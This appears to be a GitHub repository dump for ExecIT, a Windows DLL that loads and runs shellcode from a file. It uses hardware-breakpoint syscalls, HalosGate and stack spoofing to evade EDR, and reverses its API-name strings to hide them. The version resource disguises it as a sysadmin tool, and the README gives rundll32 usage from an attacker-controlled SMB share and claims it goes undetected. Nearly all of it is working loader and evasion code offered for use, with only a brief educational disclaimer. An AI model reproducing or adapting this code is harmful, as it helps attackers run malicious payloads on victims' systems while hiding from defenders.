Repository: florylsk/ExecIT Branch: master Commit: 1953288d6c81 Files: 11 Total size: 32.6 KB Directory structure: gitextract_y2wjl99s/ ├── ExecIT/ │ ├── ExecIT.vcxproj │ ├── ExecIT.vcxproj.filters │ ├── ExecIT.vcxproj.user │ ├── ProjectName.rc │ ├── dllmain.cpp │ ├── framework.h │ ├── pch.cpp │ ├── pch.h │ └── resource.h ├── ExecIT.sln └── README.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: ExecIT/ExecIT.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {0f7a1d0f-1c36-4be6-9c0b-39a15688cd7a} ExecIT 10.0 DynamicLibrary true v143 Unicode DynamicLibrary false v143 true Unicode DynamicLibrary true v143 Unicode DynamicLibrary false v143 true Unicode ExecIT Level3 true WIN32;_DEBUG;EXECIT_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true Use pch.h Windows true false Level3 true true true WIN32;NDEBUG;EXECIT_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true Use pch.h Windows true true true false Level3 true _DEBUG;EXECIT_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true Use pch.h Windows true false Level3 true true true NDEBUG;EXECIT_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true Use pch.h Disabled MultiThreaded Windows true true true false 1.2 Create Create Create Create ================================================ FILE: ExecIT/ExecIT.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Header Files Header Files Header Files Source Files Source Files Resource Files Resource Files ================================================ FILE: ExecIT/ExecIT.vcxproj.user ================================================  ================================================ FILE: ExecIT/ProjectName.rc ================================================ #include LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US /////////////////////////////////////////////////////////////////////// // // Version // VS_VERSION_INFO VERSIONINFO FILEVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L #else FILEFLAGS 0x0L #endif FILEOS 0x40004L FILETYPE 0x2L FILESUBTYPE 0x0L BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904b0" BEGIN VALUE "Comments", "Usefor for SysAdmins" VALUE "CompanyName", "Max Power Inc" VALUE "FileDescription", "SysAdmin Tool 123" VALUE "FileVersion", "1, 0, 0, 5" VALUE "InternalName", "ExecIT" VALUE "LegalCopyright", "Copyright (C) Max Power Inc 2024" VALUE "OriginalFilename", "ExecIT.dll" VALUE "ProductName", "ExecIT" VALUE "ProductVersion", "1, 0, 0, 5" END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0x409, 1200 END END ================================================ FILE: ExecIT/dllmain.cpp ================================================ #include #include #include "Windows.h" #include #include "pch.h" #define SIZEOF(x) sizeof(x) - 1 #pragma region Defines #define HWSYSCALLS_DEBUG 0 #define UP -32 #define DOWN 32 #define STACK_ARGS_LENGTH 8 #define STACK_ARGS_RSP_OFFSET 0x28 #define X64_PEB_OFFSET 0x60 #pragma endregion #pragma region Macros #if HWSYSCALLS_DEBUG == 0 #define DEBUG_PRINT( STR, ... ) #else #define DEBUG_PRINT( STR, ... ) printf(STR, __VA_ARGS__ ); #endif #pragma endregion #pragma region Type Defintions typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _RTL_USER_PROCESS_PARAMETERS { BYTE Reserved1[16]; PVOID Reserved2[10]; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; typedef struct _PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; PVOID EntryPoint; PVOID Reserved3; UNICODE_STRING FullDllName; BYTE Reserved4[8]; PVOID Reserved5[3]; union { ULONG CheckSum; PVOID Reserved6; }; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[21]; PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved3[520]; PVOID PostProcessInitRoutine; BYTE Reserved4[136]; ULONG SessionId; } PEB, * PPEB; typedef BOOL(WINAPI* GetThreadContext_t)( _In_ HANDLE hThread, _Inout_ LPCONTEXT lpContext ); typedef BOOL(WINAPI* SetThreadContext_t)( _In_ HANDLE hThread, _In_ CONST CONTEXT* lpContext ); #pragma endregion #pragma region Function Declerations BOOL MaskCompare(const BYTE* pData, const BYTE* bMask, const char* szMask); DWORD_PTR FindPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask); DWORD_PTR FindInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask); UINT64 GetModuleAddress(LPWSTR sModuleName); UINT64 GetSymbolAddress(UINT64 moduleBase, const char* functionName); UINT64 PrepareSyscall(char* functionName); bool SetMainBreakpoint(); DWORD64 FindSyscallNumber(DWORD64 functionAddress); DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber); LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo); bool InitHWSyscalls(); bool DeinitHWSyscalls(); #pragma endregion #pragma region GlobalVariables PVOID exceptionHandlerHandle; HANDLE myThread; HANDLE hNtdll; UINT64 ntFunctionAddress; UINT64 k32FunctionAddress; UINT64 retGadgetAddress; UINT64 stackArgs[STACK_ARGS_LENGTH]; UINT64 callRegGadgetAddress; UINT64 callRegGadgetAddressRet; char callRegGadgetValue; UINT64 regBackup; #pragma endregion #pragma region BinaryPatternMatching typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory_t)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect ); typedef NTSTATUS(NTAPI* NtProtectVirtualMemory_t)( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PULONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection ); typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef VOID(NTAPI* PIO_APC_ROUTINE)( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved ); typedef NTSTATUS(NTAPI* NtReadFile_t)( IN HANDLE FileHandle, IN OPTIONAL HANDLE Event, IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN OPTIONAL PLARGE_INTEGER ByteOffset, IN OPTIONAL PULONG Key ); typedef NTSTATUS(NTAPI* NtCreateThreadEx_t)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer); typedef NTSTATUS(NTAPI* NtWriteVirtualMemory)( IN HANDLE pHandle, IN PVOID baseAddress, IN LPCVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T* lpNumberOfBytesWritten ); typedef NTSTATUS(NTAPI* NtWaitForSingleObject)( IN HANDLE Handle, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout ); void reverseStr(char* str, int nSize) { // Swap character starting from two // corners for (int i = 0; i < nSize / 2; i++) std::swap(str[i], str[nSize - i - 1]); return; } char cNtAllocateVirtualMemory[] = "yromeMlautriVetacollAtN"; char cNtCreateThreadEx[] = "xEdaerhTetaerCtN"; char cNtWaitForSingleObject[] = "tcejbOelgniSroFtiaWtN"; char kernelbase[] = "lld.esablenrek"; char getContext[] = "txetnoCdaerhTteG"; char setContext[] = "txetnoCdaerhTteS"; void reverseStr2(char* str, int nSize) { // Swap character starting from two // corners for (int i = 0; i < nSize / 2; i++) std::swap(str[i], str[nSize - i - 1]); return; } BOOL MaskCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) { for (; *szMask; ++szMask, ++pData, ++bMask) if (*szMask == 'x' && *pData != *bMask) return FALSE; return TRUE; } DWORD_PTR FindPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask) { for (DWORD i = 0; i < dwLen; i++) if (MaskCompare((PBYTE)(dwAddress + i), bMask, szMask)) return (DWORD_PTR)(dwAddress + i); return 0; } DWORD_PTR FindInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask) { DWORD_PTR dwAddress = 0; PIMAGE_DOS_HEADER imageBase = (PIMAGE_DOS_HEADER)GetModuleHandleA(moduleName); if (!imageBase) return 0; DWORD_PTR sectionOffset = (DWORD_PTR)imageBase + imageBase->e_lfanew + sizeof(IMAGE_NT_HEADERS); if (!sectionOffset) return 0; PIMAGE_SECTION_HEADER textSection = (PIMAGE_SECTION_HEADER)(sectionOffset); dwAddress = FindPattern((DWORD_PTR)imageBase + textSection->VirtualAddress, textSection->SizeOfRawData, bMask, szMask); return dwAddress; } #pragma endregion #pragma region PEBGetProcAddress UINT64 GetModuleAddress(LPWSTR moduleName) { PPEB peb = (PPEB)__readgsqword(X64_PEB_OFFSET); LIST_ENTRY* ModuleList = NULL; if (!moduleName) return 0; for (LIST_ENTRY* pListEntry = peb->LoaderData->InMemoryOrderModuleList.Flink; pListEntry != &peb->LoaderData->InMemoryOrderModuleList; pListEntry = pListEntry->Flink) { PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (wcsstr(pEntry->FullDllName.Buffer, moduleName)) { return (UINT64)pEntry->DllBase; } } return 0; } UINT64 GetSymbolAddress(UINT64 moduleBase, const char* functionName) { UINT64 functionAddress = 0; PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase; // Checking that the image is valid PE file. if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return 0; } PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew); if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) { return functionAddress; } IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader; if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) { return functionAddress; } // Iterating the export directory. PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD* addresses = (DWORD*)(moduleBase + exportDirectory->AddressOfFunctions); WORD* ordinals = (WORD*)(moduleBase + exportDirectory->AddressOfNameOrdinals); DWORD* names = (DWORD*)(moduleBase + exportDirectory->AddressOfNames); for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) { if (_stricmp((char*)(moduleBase + names[j]), functionName) == 0) { functionAddress = moduleBase + addresses[ordinals[j]]; break; } } return functionAddress; } #pragma endregion #pragma region HalosGate DWORD64 FindSyscallNumber(DWORD64 functionAddress) { // @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md WORD syscallNumber = 0; for (WORD idx = 1; idx <= 500; idx++) { // check neighboring syscall down if (*((PBYTE)functionAddress + idx * DOWN) == 0x4c && *((PBYTE)functionAddress + 1 + idx * DOWN) == 0x8b && *((PBYTE)functionAddress + 2 + idx * DOWN) == 0xd1 && *((PBYTE)functionAddress + 3 + idx * DOWN) == 0xb8 && *((PBYTE)functionAddress + 6 + idx * DOWN) == 0x00 && *((PBYTE)functionAddress + 7 + idx * DOWN) == 0x00) { BYTE high = *((PBYTE)functionAddress + 5 + idx * DOWN); BYTE low = *((PBYTE)functionAddress + 4 + idx * DOWN); syscallNumber = (high << 8) | low - idx; break; } // check neighboring syscall up if (*((PBYTE)functionAddress + idx * UP) == 0x4c && *((PBYTE)functionAddress + 1 + idx * UP) == 0x8b && *((PBYTE)functionAddress + 2 + idx * UP) == 0xd1 && *((PBYTE)functionAddress + 3 + idx * UP) == 0xb8 && *((PBYTE)functionAddress + 6 + idx * UP) == 0x00 && *((PBYTE)functionAddress + 7 + idx * UP) == 0x00) { BYTE high = *((PBYTE)functionAddress + 5 + idx * UP); BYTE low = *((PBYTE)functionAddress + 4 + idx * UP); syscallNumber = (high << 8) | low + idx; break; } } if (syscallNumber == 0) return syscallNumber; } DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber) { // @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md DWORD64 syscallReturnAddress = 0; for (WORD idx = 1; idx <= 32; idx++) { if (*((PBYTE)functionAddress + idx) == 0x0f && *((PBYTE)functionAddress + idx + 1) == 0x05) { syscallReturnAddress = (DWORD64)((PBYTE)functionAddress + idx); break; } } if (syscallReturnAddress == 0) return syscallReturnAddress; } #pragma endregion UINT64 PrepareSyscall(char* functionName) { return ntFunctionAddress; } bool SetMainBreakpoint() { // Dynamically find the GetThreadContext and SetThreadContext functions reverseStr2(getContext, SIZEOF(getContext)); GetThreadContext_t pGetThreadContext = (GetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERN"), getContext); reverseStr2(setContext, SIZEOF(setContext)); SetThreadContext_t pSetThreadContext = (SetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERN"), setContext); DWORD old = 0; CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; // Get current thread context pGetThreadContext(myThread, &ctx); // Set hardware breakpoint on PrepareSyscall function ctx.Dr0 = (UINT64)&PrepareSyscall; ctx.Dr7 |= (1 << 0); ctx.Dr7 &= ~(1 << 16); ctx.Dr7 &= ~(1 << 17); ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; // Apply the modified context to the current thread if (!pSetThreadContext(myThread, &ctx)) { return false; } return true; } LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { if (ExceptionInfo->ContextRecord->Rip == (DWORD64)&PrepareSyscall) { // Find the address of the syscall function in ntdll we got as the first argument of the PrepareSyscall function ntFunctionAddress = GetSymbolAddress((UINT64)hNtdll, (const char*)(ExceptionInfo->ContextRecord->Rcx)); // Move breakpoint to the NTAPI function; ExceptionInfo->ContextRecord->Dr0 = ntFunctionAddress; } else if (ExceptionInfo->ContextRecord->Rip == (DWORD64)ntFunctionAddress) { // Create a new stack to spoof the kernel32 function address // The stack size will be 0x70 which is compatible with the RET_GADGET we found. // sub rsp, 70 ExceptionInfo->ContextRecord->Rsp -= 0x70; // mov rsp, REG_GADGET_ADDRESS *(PULONG64)(ExceptionInfo->ContextRecord->Rsp) = retGadgetAddress; // Copy the stack arguments from the original stack for (size_t idx = 0; idx < STACK_ARGS_LENGTH; idx++) { const size_t offset = idx * STACK_ARGS_LENGTH + STACK_ARGS_RSP_OFFSET; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset + 0x70); } DWORD64 pFunctionAddress = ExceptionInfo->ContextRecord->Rip; char nonHookedSyscallBytes[] = { 0x4C,0x8B,0xD1,0xB8 }; if (FindPattern(pFunctionAddress, 4, (PBYTE)nonHookedSyscallBytes, (PCHAR)"xxxx")) { } else { WORD syscallNumber = FindSyscallNumber(pFunctionAddress); if (syscallNumber == 0) { ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet; return EXCEPTION_CONTINUE_EXECUTION; } DWORD64 syscallReturnAddress = FindSyscallReturnAddress(pFunctionAddress, syscallNumber); if (syscallReturnAddress == 0) { ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet; return EXCEPTION_CONTINUE_EXECUTION; } // mov r10, rcx ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx; //mov eax, SSN ExceptionInfo->ContextRecord->Rax = syscallNumber; //Set RIP to syscall;ret; opcode address ExceptionInfo->ContextRecord->Rip = syscallReturnAddress; } // Move breakpoint back to PrepareSyscall to catch the next invoke ExceptionInfo->ContextRecord->Dr0 = (UINT64)&PrepareSyscall; } return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } bool FindRetGadget() { // Dynamically search for a suitable "ADD RSP,68;RET" gadget in both kernel32 and kernelbase retGadgetAddress = FindInModule("kernel32.dll", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx"); if (retGadgetAddress != 0) { return true; } else { reverseStr2(kernelbase, SIZEOF(kernelbase)); retGadgetAddress = FindInModule(kernelbase, (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx"); if (retGadgetAddress != 0) { return true; } } return false; } bool InitHWSyscalls() { myThread = GetCurrentThread(); hNtdll = (HANDLE)GetModuleAddress((LPWSTR)L"ntd"); if (!FindRetGadget()) { return false; } // Register exception handler exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler); if (!exceptionHandlerHandle) { return false; } return SetMainBreakpoint(); } bool DeinitHWSyscalls() { return RemoveVectoredExceptionHandler(exceptionHandlerHandle) != 0; } extern "C" __declspec(dllexport) void WINAPI HelperFunc(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { OutputDebugStringA("HelperFunc was executed"); OutputDebugStringA(lpszCmdLine); InitHWSyscalls(); char cNtReadFile[] = "eliFdaeRtN"; char cNtProtectVirtualMemory[] = "yromeMlautriVtcetorPtN"; LPVOID payload = NULL; HANDLE hFile; SIZE_T payload_len; hFile = CreateFileA(lpszCmdLine, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return; } OutputDebugStringA("Opened File!"); payload_len = GetFileSize(hFile, NULL); if (payload_len == 0) { return; } OutputDebugStringA("Got file Size"); HANDLE hThread = NULL; HANDLE hproc = (HANDLE)-1; //handle to current process reverseStr(cNtAllocateVirtualMemory, SIZEOF(cNtAllocateVirtualMemory)); NtAllocateVirtualMemory_t allocvirtualmemory = (NtAllocateVirtualMemory_t)PrepareSyscall((char*)cNtAllocateVirtualMemory); allocvirtualmemory(hproc, &payload, 0, (PULONG)&payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); OutputDebugStringA("Alocated memory"); IO_STATUS_BLOCK ioBlock; reverseStr(cNtReadFile, SIZEOF(cNtReadFile)); NtReadFile_t readfile = (NtReadFile_t)PrepareSyscall((char*)cNtReadFile); readfile(hFile, NULL, NULL, NULL, &ioBlock, payload, (DWORD)payload_len, NULL, NULL); DWORD oldAccess = PAGE_READWRITE; reverseStr(cNtProtectVirtualMemory, SIZEOF(cNtProtectVirtualMemory)); NtProtectVirtualMemory_t protectmemory = (NtProtectVirtualMemory_t)PrepareSyscall((char*)cNtProtectVirtualMemory); protectmemory(hproc, (PVOID*)&payload, (PULONG)&payload_len, PAGE_EXECUTE_READ, &oldAccess); ::EnumCalendarInfoEx((CALINFO_ENUMPROCEX)payload, LOCALE_USER_DEFAULT, ENUM_ALL_CALENDARS, CAL_SMONTHNAME1); DeinitHWSyscalls(); Sleep(50000); } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: OutputDebugStringA("DllMain"); break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return TRUE; } ================================================ FILE: ExecIT/framework.h ================================================ #pragma once //#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers // Windows Header Files #include ================================================ FILE: ExecIT/pch.cpp ================================================ // pch.cpp: source file corresponding to the pre-compiled header #include "pch.h" // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. ================================================ FILE: ExecIT/pch.h ================================================ // pch.h: This is a precompiled header file. // Files listed below are compiled only once, improving build performance for future builds. // This also affects IntelliSense performance, including code completion and many code browsing features. // However, files listed here are ALL re-compiled if any one of them is updated between builds. // Do not add files here that you will be updating frequently as this negates the performance advantage. #ifndef PCH_H #define PCH_H // add headers that you want to pre-compile here #include "framework.h" //#include "HWSyscalls.h" #include #include #include #endif //PCH_H ================================================ FILE: ExecIT/resource.h ================================================ //{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by ProjectName.rc // // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 102 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1000 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif ================================================ FILE: ExecIT.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.5.33502.453 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ExecIT", "ExecIT\ExecIT.vcxproj", "{0F7A1D0F-1C36-4BE6-9C0B-39A15688CD7A}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {0F7A1D0F-1C36-4BE6-9C0B-39A15688CD7A}.Debug|x64.ActiveCfg = Debug|x64 {0F7A1D0F-1C36-4BE6-9C0B-39A15688CD7A}.Debug|x64.Build.0 = Debug|x64 {0F7A1D0F-1C36-4BE6-9C0B-39A15688CD7A}.Debug|x86.ActiveCfg = Debug|Win32 {0F7A1D0F-1C36-4BE6-9C0B-39A15688CD7A}.Debug|x86.Build.0 = Debug|Win32 {0F7A1D0F-1C36-4BE6-9C0B-39A15688CD7A}.Release|x64.ActiveCfg = Release|x64 {0F7A1D0F-1C36-4BE6-9C0B-39A15688CD7A}.Release|x64.Build.0 = Release|x64 {0F7A1D0F-1C36-4BE6-9C0B-39A15688CD7A}.Release|x86.ActiveCfg = Release|Win32 {0F7A1D0F-1C36-4BE6-9C0B-39A15688CD7A}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {99BD5419-6E81-4800-BB0D-91971A7E0639} EndGlobalSection EndGlobal ================================================ FILE: README.md ================================================ # ExecIT ## Description DLL Shellcode self-inyector/runner based on HWSyscalls, ideally thought to be executed with rundll32. May grant fileless execution if victim endpoint has access to attacker-controlled SMB share. ## Usage ```powershell rundll32.exe ExecIT.dll, HelperFunc, ``` ![poc](https://github.com/florylsk/ExecIT/assets/46110263/f4f13590-3ba7-45c3-a6a4-034f43b366a1) ## Detection Currently it is fully undetected across all EDRs tested (depending on the shellcode) as of this commit. E.g., for Defender for Endpoint EDR: ![image](https://github.com/florylsk/ExecIT/assets/46110263/a967f39b-027c-4bfa-b867-f6ec955ff54f) ## Disclaimer The information/files provided in this repository are strictly intended for educational and ethical purposes only. The techniques and tools are intended to be used in a lawful and responsible manner, with the explicit consent of the target system's owner. Any unauthorized or malicious use of these techniques and tools is strictly prohibited and may result in legal consequences. I am not responsible for any damages or legal issues that may arise from the misuse of the information provided.